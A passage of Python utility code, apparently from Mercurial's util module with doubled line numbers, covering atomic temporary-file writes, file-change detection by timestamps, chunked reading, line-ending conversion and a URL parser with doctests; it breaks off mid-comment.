1923 1924 os.close(fd)
1924 1925 # Temporary files are created with mode 0600, which is usually not
1925 1926 # what we want. If the original file already exists, just copy
1926 1927 # its mode. Otherwise, manually obey umask.
1927 1928 copymode(name, temp, createmode)
1928 1929 if emptyok:
1929 1930 return temp
1930 1931 try:
1931 1932 try:
1932 1933 ifp = posixfile(name, "rb")
1933 1934 except IOError as inst:
1934 1935 if inst.errno == errno.ENOENT:
1935 1936 return temp
1936 1937 if not getattr(inst, 'filename', None):
1937 1938 inst.filename = name
1938 1939 raise
1939 1940 ofp = posixfile(temp, "wb")
1940 1941 for chunk in filechunkiter(ifp):
1941 1942 ofp.write(chunk)
1942 1943 ifp.close()
1943 1944 ofp.close()
1944 1945 except: # re-raises
1945 1946 try:
1946 1947 os.unlink(temp)
1947 1948 except OSError:
1948 1949 pass
1949 1950 raise
1950 1951 return temp
1951 1952
1952 1953 class filestat(object):
1953 1954 """help to exactly detect change of a file
1954 1955
1955 1956 'stat' attribute is result of 'os.stat()' if specified 'path'
1956 1957 exists. Otherwise, it is None. This can avoid preparative
1957 1958 'exists()' examination on client side of this class.
1958 1959 """
1959 1960 def __init__(self, stat):
1960 1961 self.stat = stat
1961 1962
1962 1963 @classmethod
1963 1964 def frompath(cls, path):
1964 1965 try:
1965 1966 stat = os.stat(path)
1966 1967 except OSError as err:
1967 1968 if err.errno != errno.ENOENT:
1968 1969 raise
1969 1970 stat = None
1970 1971 return cls(stat)
1971 1972
1972 1973 @classmethod
1973 1974 def fromfp(cls, fp):
1974 1975 stat = os.fstat(fp.fileno())
1975 1976 return cls(stat)
1976 1977
1977 1978 __hash__ = object.__hash__
1978 1979
1979 1980 def __eq__(self, old):
1980 1981 try:
1981 1982 # if ambiguity between stat of new and old file is
1982 1983 # avoided, comparison of size, ctime and mtime is enough
1983 1984 # to exactly detect change of a file regardless of platform
1984 1985 return (self.stat.st_size == old.stat.st_size and
1985 1986 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
1986 1987 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
1987 1988 except AttributeError:
1988 1989 pass
1989 1990 try:
1990 1991 return self.stat is None and old.stat is None
1991 1992 except AttributeError:
1992 1993 return False
1993 1994
1994 1995 def isambig(self, old):
1995 1996 """Examine whether new (= self) stat is ambiguous against old one
1996 1997
1997 1998 "S[N]" below means stat of a file at N-th change:
1998 1999
1999 2000 - S[n-1].ctime < S[n].ctime: can detect change of a file
2000 2001 - S[n-1].ctime == S[n].ctime
2001 2002 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2002 2003 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2003 2004 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2004 2005 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2005 2006
2006 2007 Case (*2) above means that a file was changed twice or more at
2007 2008 same time in sec (= S[n-1].ctime), and comparison of timestamp
2008 2009 is ambiguous.
2009 2010
2010 2011 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2011 2012 timestamp is ambiguous".
2012 2013
2013 2014 But advancing mtime only in case (*2) doesn't work as
2014 2015 expected, because naturally advanced S[n].mtime in case (*1)
2015 2016 might be equal to manually advanced S[n-1 or earlier].mtime.
2016 2017
2017 2018 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2018 2019 treated as ambiguous regardless of mtime, to avoid overlooking
2019 2020 by confliction between such mtime.
2020 2021
2021 2022 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2022 2023 S[n].mtime", even if size of a file isn't changed.
2023 2024 """
2024 2025 try:
2025 2026 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
2026 2027 except AttributeError:
2027 2028 return False
2028 2029
2029 2030 def avoidambig(self, path, old):
2030 2031 """Change file stat of specified path to avoid ambiguity
2031 2032
2032 2033 'old' should be previous filestat of 'path'.
2033 2034
2034 2035 This skips avoiding ambiguity, if a process doesn't have
2035 2036 appropriate privileges for 'path'. This returns False in this
2036 2037 case.
2037 2038
2038 2039 Otherwise, this returns True, as "ambiguity is avoided".
2039 2040 """
2040 2041 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2041 2042 try:
2042 2043 os.utime(path, (advanced, advanced))
2043 2044 except OSError as inst:
2044 2045 if inst.errno == errno.EPERM:
2045 2046 # utime() on the file created by another user causes EPERM,
2046 2047 # if a process doesn't have appropriate privileges
2047 2048 return False
2048 2049 raise
2049 2050 return True
2050 2051
2051 2052 def __ne__(self, other):
2052 2053 return not self == other
2053 2054
2054 2055 class atomictempfile(object):
2055 2056 '''writable file object that atomically updates a file
2056 2057
2057 2058 All writes will go to a temporary copy of the original file. Call
2058 2059 close() when you are done writing, and atomictempfile will rename
2059 2060 the temporary copy to the original name, making the changes
2060 2061 visible. If the object is destroyed without being closed, all your
2061 2062 writes are discarded.
2062 2063
2063 2064 checkambig argument of constructor is used with filestat, and is
2064 2065 useful only if target file is guarded by any lock (e.g. repo.lock
2065 2066 or repo.wlock).
2066 2067 '''
2067 2068 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2068 2069 self.__name = name # permanent name
2069 2070 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2070 2071 createmode=createmode)
2071 2072 self._fp = posixfile(self._tempname, mode)
2072 2073 self._checkambig = checkambig
2073 2074
2074 2075 # delegated methods
2075 2076 self.read = self._fp.read
2076 2077 self.write = self._fp.write
2077 2078 self.seek = self._fp.seek
2078 2079 self.tell = self._fp.tell
2079 2080 self.fileno = self._fp.fileno
2080 2081
2081 2082 def close(self):
2082 2083 if not self._fp.closed:
2083 2084 self._fp.close()
2084 2085 filename = localpath(self.__name)
2085 2086 oldstat = self._checkambig and filestat.frompath(filename)
2086 2087 if oldstat and oldstat.stat:
2087 2088 rename(self._tempname, filename)
2088 2089 newstat = filestat.frompath(filename)
2089 2090 if newstat.isambig(oldstat):
2090 2091 # stat of changed file is ambiguous to original one
2091 2092 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2092 2093 os.utime(filename, (advanced, advanced))
2093 2094 else:
2094 2095 rename(self._tempname, filename)
2095 2096
2096 2097 def discard(self):
2097 2098 if not self._fp.closed:
2098 2099 try:
2099 2100 os.unlink(self._tempname)
2100 2101 except OSError:
2101 2102 pass
2102 2103 self._fp.close()
2103 2104
2104 2105 def __del__(self):
2105 2106 if safehasattr(self, '_fp'): # constructor actually did something
2106 2107 self.discard()
2107 2108
2108 2109 def __enter__(self):
2109 2110 return self
2110 2111
2111 2112 def __exit__(self, exctype, excvalue, traceback):
2112 2113 if exctype is not None:
2113 2114 self.discard()
2114 2115 else:
2115 2116 self.close()
2116 2117
2117 2118 def unlinkpath(f, ignoremissing=False, rmdir=True):
2118 2119 """unlink and remove the directory if it is empty"""
2119 2120 if ignoremissing:
2120 2121 tryunlink(f)
2121 2122 else:
2122 2123 unlink(f)
2123 2124 if rmdir:
2124 2125 # try removing directories that might now be empty
2125 2126 try:
2126 2127 removedirs(os.path.dirname(f))
2127 2128 except OSError:
2128 2129 pass
2129 2130
2130 2131 def tryunlink(f):
2131 2132 """Attempt to remove a file, ignoring ENOENT errors."""
2132 2133 try:
2133 2134 unlink(f)
2134 2135 except OSError as e:
2135 2136 if e.errno != errno.ENOENT:
2136 2137 raise
2137 2138
2138 2139 def makedirs(name, mode=None, notindexed=False):
2139 2140 """recursive directory creation with parent mode inheritance
2140 2141
2141 2142 Newly created directories are marked as "not to be indexed by
2142 2143 the content indexing service", if ``notindexed`` is specified
2143 2144 for "write" mode access.
2144 2145 """
2145 2146 try:
2146 2147 makedir(name, notindexed)
2147 2148 except OSError as err:
2148 2149 if err.errno == errno.EEXIST:
2149 2150 return
2150 2151 if err.errno != errno.ENOENT or not name:
2151 2152 raise
2152 2153 parent = os.path.dirname(os.path.abspath(name))
2153 2154 if parent == name:
2154 2155 raise
2155 2156 makedirs(parent, mode, notindexed)
2156 2157 try:
2157 2158 makedir(name, notindexed)
2158 2159 except OSError as err:
2159 2160 # Catch EEXIST to handle races
2160 2161 if err.errno == errno.EEXIST:
2161 2162 return
2162 2163 raise
2163 2164 if mode is not None:
2164 2165 os.chmod(name, mode)
2165 2166
2166 2167 def readfile(path):
2167 2168 with open(path, 'rb') as fp:
2168 2169 return fp.read()
2169 2170
2170 2171 def writefile(path, text):
2171 2172 with open(path, 'wb') as fp:
2172 2173 fp.write(text)
2173 2174
2174 2175 def appendfile(path, text):
2175 2176 with open(path, 'ab') as fp:
2176 2177 fp.write(text)
2177 2178
2178 2179 class chunkbuffer(object):
2179 2180 """Allow arbitrary sized chunks of data to be efficiently read from an
2180 2181 iterator over chunks of arbitrary size."""
2181 2182
2182 2183 def __init__(self, in_iter):
2183 2184 """in_iter is the iterator that's iterating over the input chunks."""
2184 2185 def splitbig(chunks):
2185 2186 for chunk in chunks:
2186 2187 if len(chunk) > 2**20:
2187 2188 pos = 0
2188 2189 while pos < len(chunk):
2189 2190 end = pos + 2 ** 18
2190 2191 yield chunk[pos:end]
2191 2192 pos = end
2192 2193 else:
2193 2194 yield chunk
2194 2195 self.iter = splitbig(in_iter)
2195 2196 self._queue = collections.deque()
2196 2197 self._chunkoffset = 0
2197 2198
2198 2199 def read(self, l=None):
2199 2200 """Read L bytes of data from the iterator of chunks of data.
2200 2201 Returns less than L bytes if the iterator runs dry.
2201 2202
2202 2203 If size parameter is omitted, read everything"""
2203 2204 if l is None:
2204 2205 return ''.join(self.iter)
2205 2206
2206 2207 left = l
2207 2208 buf = []
2208 2209 queue = self._queue
2209 2210 while left > 0:
2210 2211 # refill the queue
2211 2212 if not queue:
2212 2213 target = 2**18
2213 2214 for chunk in self.iter:
2214 2215 queue.append(chunk)
2215 2216 target -= len(chunk)
2216 2217 if target <= 0:
2217 2218 break
2218 2219 if not queue:
2219 2220 break
2220 2221
2221 2222 # The easy way to do this would be to queue.popleft(), modify the
2222 2223 # chunk (if necessary), then queue.appendleft(). However, for cases
2223 2224 # where we read partial chunk content, this incurs 2 dequeue
2224 2225 # mutations and creates a new str for the remaining chunk in the
2225 2226 # queue. Our code below avoids this overhead.
2226 2227
2227 2228 chunk = queue[0]
2228 2229 chunkl = len(chunk)
2229 2230 offset = self._chunkoffset
2230 2231
2231 2232 # Use full chunk.
2232 2233 if offset == 0 and left >= chunkl:
2233 2234 left -= chunkl
2234 2235 queue.popleft()
2235 2236 buf.append(chunk)
2236 2237 # self._chunkoffset remains at 0.
2237 2238 continue
2238 2239
2239 2240 chunkremaining = chunkl - offset
2240 2241
2241 2242 # Use all of unconsumed part of chunk.
2242 2243 if left >= chunkremaining:
2243 2244 left -= chunkremaining
2244 2245 queue.popleft()
2245 2246 # offset == 0 is enabled by block above, so this won't merely
2246 2247 # copy via ``chunk[0:]``.
2247 2248 buf.append(chunk[offset:])
2248 2249 self._chunkoffset = 0
2249 2250
2250 2251 # Partial chunk needed.
2251 2252 else:
2252 2253 buf.append(chunk[offset:offset + left])
2253 2254 self._chunkoffset += left
2254 2255 left -= chunkremaining
2255 2256
2256 2257 return ''.join(buf)
2257 2258
2258 2259 def filechunkiter(f, size=131072, limit=None):
2259 2260 """Create a generator that produces the data in the file size
2260 2261 (default 131072) bytes at a time, up to optional limit (default is
2261 2262 to read all data). Chunks may be less than size bytes if the
2262 2263 chunk is the last chunk in the file, or the file is a socket or
2263 2264 some other type of file that sometimes reads less data than is
2264 2265 requested."""
2265 2266 assert size >= 0
2266 2267 assert limit is None or limit >= 0
2267 2268 while True:
2268 2269 if limit is None:
2269 2270 nbytes = size
2270 2271 else:
2271 2272 nbytes = min(limit, size)
2272 2273 s = nbytes and f.read(nbytes)
2273 2274 if not s:
2274 2275 break
2275 2276 if limit:
2276 2277 limit -= len(s)
2277 2278 yield s
2278 2279
2279 2280 class cappedreader(object):
2280 2281 """A file object proxy that allows reading up to N bytes.
2281 2282
2282 2283 Given a source file object, instances of this type allow reading up to
2283 2284 N bytes from that source file object. Attempts to read past the allowed
2284 2285 limit are treated as EOF.
2285 2286
2286 2287 It is assumed that I/O is not performed on the original file object
2287 2288 in addition to I/O that is performed by this instance. If there is,
2288 2289 state tracking will get out of sync and unexpected results will ensue.
2289 2290 """
2290 2291 def __init__(self, fh, limit):
2291 2292 """Allow reading up to <limit> bytes from <fh>."""
2292 2293 self._fh = fh
2293 2294 self._left = limit
2294 2295
2295 2296 def read(self, n=-1):
2296 2297 if not self._left:
2297 2298 return b''
2298 2299
2299 2300 if n < 0:
2300 2301 n = self._left
2301 2302
2302 2303 data = self._fh.read(min(n, self._left))
2303 2304 self._left -= len(data)
2304 2305 assert self._left >= 0
2305 2306
2306 2307 return data
2307 2308
2308 2309 def readinto(self, b):
2309 2310 res = self.read(len(b))
2310 2311 if res is None:
2311 2312 return None
2312 2313
2313 2314 b[0:len(res)] = res
2314 2315 return len(res)
2315 2316
2316 2317 def unitcountfn(*unittable):
2317 2318 '''return a function that renders a readable count of some quantity'''
2318 2319
2319 2320 def go(count):
2320 2321 for multiplier, divisor, format in unittable:
2321 2322 if abs(count) >= divisor * multiplier:
2322 2323 return format % (count / float(divisor))
2323 2324 return unittable[-1][2] % count
2324 2325
2325 2326 return go
2326 2327
2327 2328 def processlinerange(fromline, toline):
2328 2329 """Check that linerange <fromline>:<toline> makes sense and return a
2329 2330 0-based range.
2330 2331
2331 2332 >>> processlinerange(10, 20)
2332 2333 (9, 20)
2333 2334 >>> processlinerange(2, 1)
2334 2335 Traceback (most recent call last):
2335 2336 ...
2336 2337 ParseError: line range must be positive
2337 2338 >>> processlinerange(0, 5)
2338 2339 Traceback (most recent call last):
2339 2340 ...
2340 2341 ParseError: fromline must be strictly positive
2341 2342 """
2342 2343 if toline - fromline < 0:
2343 2344 raise error.ParseError(_("line range must be positive"))
2344 2345 if fromline < 1:
2345 2346 raise error.ParseError(_("fromline must be strictly positive"))
2346 2347 return fromline - 1, toline
2347 2348
2348 2349 bytecount = unitcountfn(
2349 2350 (100, 1 << 30, _('%.0f GB')),
2350 2351 (10, 1 << 30, _('%.1f GB')),
2351 2352 (1, 1 << 30, _('%.2f GB')),
2352 2353 (100, 1 << 20, _('%.0f MB')),
2353 2354 (10, 1 << 20, _('%.1f MB')),
2354 2355 (1, 1 << 20, _('%.2f MB')),
2355 2356 (100, 1 << 10, _('%.0f KB')),
2356 2357 (10, 1 << 10, _('%.1f KB')),
2357 2358 (1, 1 << 10, _('%.2f KB')),
2358 2359 (1, 1, _('%.0f bytes')),
2359 2360 )
2360 2361
2361 2362 class transformingwriter(object):
2362 2363 """Writable file wrapper to transform data by function"""
2363 2364
2364 2365 def __init__(self, fp, encode):
2365 2366 self._fp = fp
2366 2367 self._encode = encode
2367 2368
2368 2369 def close(self):
2369 2370 self._fp.close()
2370 2371
2371 2372 def flush(self):
2372 2373 self._fp.flush()
2373 2374
2374 2375 def write(self, data):
2375 2376 return self._fp.write(self._encode(data))
2376 2377
2377 2378 # Matches a single EOL which can either be a CRLF where repeated CR
2378 2379 # are removed or a LF. We do not care about old Macintosh files, so a
2379 2380 # stray CR is an error.
2380 2381 _eolre = remod.compile(br'\r*\n')
2381 2382
2382 2383 def tolf(s):
2383 2384 return _eolre.sub('\n', s)
2384 2385
2385 2386 def tocrlf(s):
2386 2387 return _eolre.sub('\r\n', s)
2387 2388
2388 2389 def _crlfwriter(fp):
2389 2390 return transformingwriter(fp, tocrlf)
2390 2391
2391 2392 if pycompat.oslinesep == '\r\n':
2392 2393 tonativeeol = tocrlf
2393 2394 fromnativeeol = tolf
2394 2395 nativeeolwriter = _crlfwriter
2395 2396 else:
2396 2397 tonativeeol = pycompat.identity
2397 2398 fromnativeeol = pycompat.identity
2398 2399 nativeeolwriter = pycompat.identity
2399 2400
2400 2401 if (pyplatform.python_implementation() == 'CPython' and
2401 2402 sys.version_info < (3, 0)):
2402 2403 # There is an issue in CPython that some IO methods do not handle EINTR
2403 2404 # correctly. The following table shows what CPython version (and functions)
2404 2405 # are affected (buggy: has the EINTR bug, okay: otherwise):
2405 2406 #
2406 2407 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2407 2408 # --------------------------------------------------
2408 2409 # fp.__iter__ | buggy | buggy | okay
2409 2410 # fp.read* | buggy | okay [1] | okay
2410 2411 #
2411 2412 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2412 2413 #
2413 2414 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2414 2415 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2415 2416 #
2416 2417 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2417 2418 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2418 2419 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2419 2420 # fp.__iter__ but not other fp.read* methods.
2420 2421 #
2421 2422 # On modern systems like Linux, the "read" syscall cannot be interrupted
2422 2423 # when reading "fast" files like on-disk files. So the EINTR issue only
2423 2424 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2424 2425 # files approximately as "fast" files and use the fast (unsafe) code path,
2425 2426 # to minimize the performance impact.
2426 2427 if sys.version_info >= (2, 7, 4):
2427 2428 # fp.readline deals with EINTR correctly, use it as a workaround.
2428 2429 def _safeiterfile(fp):
2429 2430 return iter(fp.readline, '')
2430 2431 else:
2431 2432 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2432 2433 # note: this may block longer than necessary because of bufsize.
2433 2434 def _safeiterfile(fp, bufsize=4096):
2434 2435 fd = fp.fileno()
2435 2436 line = ''
2436 2437 while True:
2437 2438 try:
2438 2439 buf = os.read(fd, bufsize)
2439 2440 except OSError as ex:
2440 2441 # os.read only raises EINTR before any data is read
2441 2442 if ex.errno == errno.EINTR:
2442 2443 continue
2443 2444 else:
2444 2445 raise
2445 2446 line += buf
2446 2447 if '\n' in buf:
2447 2448 splitted = line.splitlines(True)
2448 2449 line = ''
2449 2450 for l in splitted:
2450 2451 if l[-1] == '\n':
2451 2452 yield l
2452 2453 else:
2453 2454 line = l
2454 2455 if not buf:
2455 2456 break
2456 2457 if line:
2457 2458 yield line
2458 2459
2459 2460 def iterfile(fp):
2460 2461 fastpath = True
2461 2462 if type(fp) is file:
2462 2463 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2463 2464 if fastpath:
2464 2465 return fp
2465 2466 else:
2466 2467 return _safeiterfile(fp)
2467 2468 else:
2468 2469 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2469 2470 def iterfile(fp):
2470 2471 return fp
2471 2472
2472 2473 def iterlines(iterator):
2473 2474 for chunk in iterator:
2474 2475 for line in chunk.splitlines():
2475 2476 yield line
2476 2477
2477 2478 def expandpath(path):
2478 2479 return os.path.expanduser(os.path.expandvars(path))
2479 2480
2480 2481 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2481 2482 """Return the result of interpolating items in the mapping into string s.
2482 2483
2483 2484 prefix is a single character string, or a two character string with
2484 2485 a backslash as the first character if the prefix needs to be escaped in
2485 2486 a regular expression.
2486 2487
2487 2488 fn is an optional function that will be applied to the replacement text
2488 2489 just before replacement.
2489 2490
2490 2491 escape_prefix is an optional flag that allows using doubled prefix for
2491 2492 its escaping.
2492 2493 """
2493 2494 fn = fn or (lambda s: s)
2494 2495 patterns = '|'.join(mapping.keys())
2495 2496 if escape_prefix:
2496 2497 patterns += '|' + prefix
2497 2498 if len(prefix) > 1:
2498 2499 prefix_char = prefix[1:]
2499 2500 else:
2500 2501 prefix_char = prefix
2501 2502 mapping[prefix_char] = prefix_char
2502 2503 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2503 2504 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2504 2505
2505 2506 def getport(port):
2506 2507 """Return the port for a given network service.
2507 2508
2508 2509 If port is an integer, it's returned as is. If it's a string, it's
2509 2510 looked up using socket.getservbyname(). If there's no matching
2510 2511 service, error.Abort is raised.
2511 2512 """
2512 2513 try:
2513 2514 return int(port)
2514 2515 except ValueError:
2515 2516 pass
2516 2517
2517 2518 try:
2518 2519 return socket.getservbyname(pycompat.sysstr(port))
2519 2520 except socket.error:
2520 2521 raise error.Abort(_("no port number associated with service '%s'")
2521 2522 % port)
2522 2523
2523 2524 class url(object):
2524 2525 r"""Reliable URL parser.
2525 2526
2526 2527 This parses URLs and provides attributes for the following
2527 2528 components:
2528 2529
2529 2530 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2530 2531
2531 2532 Missing components are set to None. The only exception is
2532 2533 fragment, which is set to '' if present but empty.
2533 2534
2534 2535 If parsefragment is False, fragment is included in query. If
2535 2536 parsequery is False, query is included in path. If both are
2536 2537 False, both fragment and query are included in path.
2537 2538
2538 2539 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2539 2540
2540 2541 Note that for backward compatibility reasons, bundle URLs do not
2541 2542 take host names. That means 'bundle://../' has a path of '../'.
2542 2543
2543 2544 Examples:
2544 2545
2545 2546 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2546 2547 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2547 2548 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2548 2549 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2549 2550 >>> url(b'file:///home/joe/repo')
2550 2551 <url scheme: 'file', path: '/home/joe/repo'>
2551 2552 >>> url(b'file:///c:/temp/foo/')
2552 2553 <url scheme: 'file', path: 'c:/temp/foo/'>
2553 2554 >>> url(b'bundle:foo')
2554 2555 <url scheme: 'bundle', path: 'foo'>
2555 2556 >>> url(b'bundle://../foo')
2556 2557 <url scheme: 'bundle', path: '../foo'>
2557 2558 >>> url(br'c:\foo\bar')
2558 2559 <url path: 'c:\\foo\\bar'>
2559 2560 >>> url(br'\\blah\blah\blah')
2560 2561 <url path: '\\\\blah\\blah\\blah'>
2561 2562 >>> url(br'\\blah\blah\blah#baz')
2562 2563 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2563 2564 >>> url(br'file:///C:\users\me')
2564 2565 <url scheme: 'file', path: 'C:\\users\\me'>
2565 2566
2566 2567 Authentication credentials:
2567 2568
2568 2569 >>> url(b'ssh://joe:xyz@x/repo')
2569 2570 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2570 2571 >>> url(b'ssh://joe@x/repo')
2571 2572 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2572 2573
2573 2574 Query strings and fragments:
2574 2575
2575 2576 >>> url(b'http://host/a?b#c')
2576 2577 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2577 2578 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2578 2579 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2579 2580
2580 2581 Empty path:
2581 2582
2582 2583 >>> url(b'')
2583 2584 <url path: ''>
2584 2585 >>> url(b'#a')
2585 2586 <url path: '', fragment: 'a'>
2586 2587 >>> url(b'http://host/')
2587 2588 <url scheme: 'http', host: 'host', path: ''>
2588 2589 >>> url(b'http://host/#a')
2589 2590 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2590 2591
2591 2592 Only scheme:
2592 2593
2593 2594 >>> url(b'http:')
2594 2595 <url scheme: 'http'>
2595 2596 """
2596 2597
2597 2598 _safechars = "!~*'()+"
2598 2599 _safepchars = "/!~*'()+:\\"
2599 2600 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2600 2601
2601 2602 def __init__(self, path, parsequery=True, parsefragment=True):
2602 2603 # We slowly chomp away at path until we have only the path left
2603 2604 self.scheme = self.user = self.passwd = self.host = None
2604 2605 self.port = self.path = self.query = self.fragment = None
2605 2606 self._localpath = True
2606 2607 self._hostport = ''
2607 2608 self._origpath = path
2608 2609
2609 2610 if parsefragment and '#' in path:
2610 2611 path, self.fragment = path.split('#', 1)
2611 2612
2612 2613 # special case for Windows drive letters and UNC paths
2613 2614 if hasdriveletter(path) or path.startswith('\\\\'):
2614 2615 self.path = path
2615 2616 return
2616 2617
2617 2618 # For compatibility reasons, we can't handle bundle paths as
2618 2619 # normal URLS
2619 2620 if path.startswith('bundle:'):
2620 2621 self.scheme = 'bundle'
2621 2622 path = path[7:]
2622 2623 if path.startswith('//'):
2623 2624 path = path[2:]
2624 2625 self.path = path
2625 2626 return
2626 2627
2627 2628 if self._matchscheme(path):
2628 2629 parts = path.split(':', 1)
2629 2630 if parts[0]:
2630 2631 self.scheme, path = parts
2631 2632 self._localpath = False
2632 2633
2633 2634 if not path:
2634 2635 path = None
2635 2636 if self._localpath:
2636 2637 self.path = ''
2637 2638 return
2638 2639 else:
2639 2640 if self._localpath:
2640 2641 self.path = path
2641 2642 return
2642 2643
2643 2644 if parsequery and '?' in path:
2644 2645 path, self.query = path.split('?', 1)
2645 2646 if not path:
2646 2647 path = None
2647 2648 if not self.query:
2648 2649 self.query = None
2649 2650
2650 2651 # // is required to specify a host/authority
2651 2652 if path and path.startswith('//'):
2652 2653 parts = path[2:].split('/', 1)
2653 2654 if len(parts) > 1:
2654 2655 self.host, path = parts
2655 2656 else:
2656 2657 self.host = parts[0]
2657 2658 path = None
2658 2659 if not self.host:
2659 2660 self.host = None
2660 2661 # path of file:///d is /d
2661 2662 # path of file:///d:/ is d:/, not /d:/
2662 2663 if path and not hasdriveletter(path):
2663 2664 path = '/' + path
2664 2665
2665 2666 if self.host and '@' in self.host:
2666 2667 self.user, self.host = self.host.rsplit('@', 1)
2667 2668 if ':' in self.user:
2668 2669 self.user, self.passwd = self.user.split(':', 1)
2669 2670 if not self.host:
2670 2671 self.host = None
2671 2672
2672 2673 # Don't split on colons in IPv6 addresses without ports
2673 2674 if (self.host and ':' in self.host and
2674 2675 not (self.host.startswith('[') and self.host.endswith(']'))):
2675 2676 self._hostport = self.host
2676 2677 self.host, self.port = self.host.rsplit(':', 1)
2677 2678 if not self.host:
2678 2679 self.host = None
2679 2680
2680 2681 if (self.host and self.scheme == 'file' and
2681 2682 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2682 2683 raise error.Abort(_('file:// URLs can only refer to localhost'))
2683 2684
2684 2685 self.path = path
2685 2686
2686 2687 # leave the query string escaped
2687 2688 for a in ('user', 'passwd', 'host', 'port',
2688 2689 'path', 'fragment'):
2689 2690 v = getattr(self, a)
2690 2691 if v is not None:
2691 2692 setattr(self, a, urlreq.unquote(v))
2692 2693
2693 2694 @encoding.strmethod
2694 2695 def __repr__(self):
2695 2696 attrs = []
2696 2697 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2697 2698 'query', 'fragment'):
2698 2699 v = getattr(self, a)
2699 2700 if v is not None:
2700 2701 attrs.append('%s: %r' % (a, pycompat.bytestr(v)))
2701 2702 return '<url %s>' % ', '.join(attrs)
2702 2703
2703 2704 def __bytes__(self):
2704 2705 r"""Join the URL's components back into a URL string.
2705 2706
2706 2707 Examples:
2707 2708
2708 2709 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2709 2710 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2710 2711 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2711 2712 'http://user:pw@host:80/?foo=bar&baz=42'
2712 2713 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2713 2714 'http://user:pw@host:80/?foo=bar%3dbaz'
2714 2715 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2715 2716 'ssh://user:pw@[::1]:2200//home/joe#'
2716 2717 >>> bytes(url(b'http://localhost:80//'))
2717 2718 'http://localhost:80//'
2718 2719 >>> bytes(url(b'http://localhost:80/'))
2719 2720 'http://localhost:80/'
2720 2721 >>> bytes(url(b'http://localhost:80'))
2721 2722 'http://localhost:80/'
2722 2723 >>> bytes(url(b'bundle:foo'))
2723 2724 'bundle:foo'
2724 2725 >>> bytes(url(b'bundle://../foo'))
2725 2726 'bundle:../foo'
2726 2727 >>> bytes(url(b'path'))
2727 2728 'path'
2728 2729 >>> bytes(url(b'file:///tmp/foo/bar'))
2729 2730 'file:///tmp/foo/bar'
2730 2731 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
2731 2732 'file:///c:/tmp/foo/bar'
2732 2733 >>> print(url(br'bundle:foo\bar'))
2733 2734 bundle:foo\bar
2734 2735 >>> print(url(br'file:///D:\data\hg'))
2735 2736 file:///D:\data\hg
2736 2737 """
2737 2738 if self._localpath:
2738 2739 s = self.path
2739 2740 if self.scheme == 'bundle':
2740 2741 s = 'bundle:' + s
2741 2742 if self.fragment:
2742 2743 s += '#' + self.fragment
2743 2744 return s
2744 2745
2745 2746 s = self.scheme + ':'
2746 2747 if self.user or self.passwd or self.host:
2747 2748 s += '//'
2748 2749 elif self.scheme and (not self.path or self.path.startswith('/')
2749 2750 or hasdriveletter(self.path)):
2750 2751 s += '//'
2751 2752 if hasdriveletter(self.path):
2752 2753 s += '/'
2753 2754 if self.user:
2754 2755 s += urlreq.quote(self.user, safe=self._safechars)
2755 2756 if self.passwd:
2756 2757 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2757 2758 if self.user or self.passwd:
2758 2759 s += '@'
2759 2760 if self.host:
2760 2761 if not (self.host.startswith('[') and self.host.endswith(']')):
2761 2762 s += urlreq.quote(self.host)
2762 2763 else:
2763 2764 s += self.host
2764 2765 if self.port:
2765 2766 s += ':' + urlreq.quote(self.port)
2766 2767 if self.host:
2767 2768 s += '/'
2768 2769 if self.path:
2769 2770 # TODO: similar to the query string, we should not unescape the
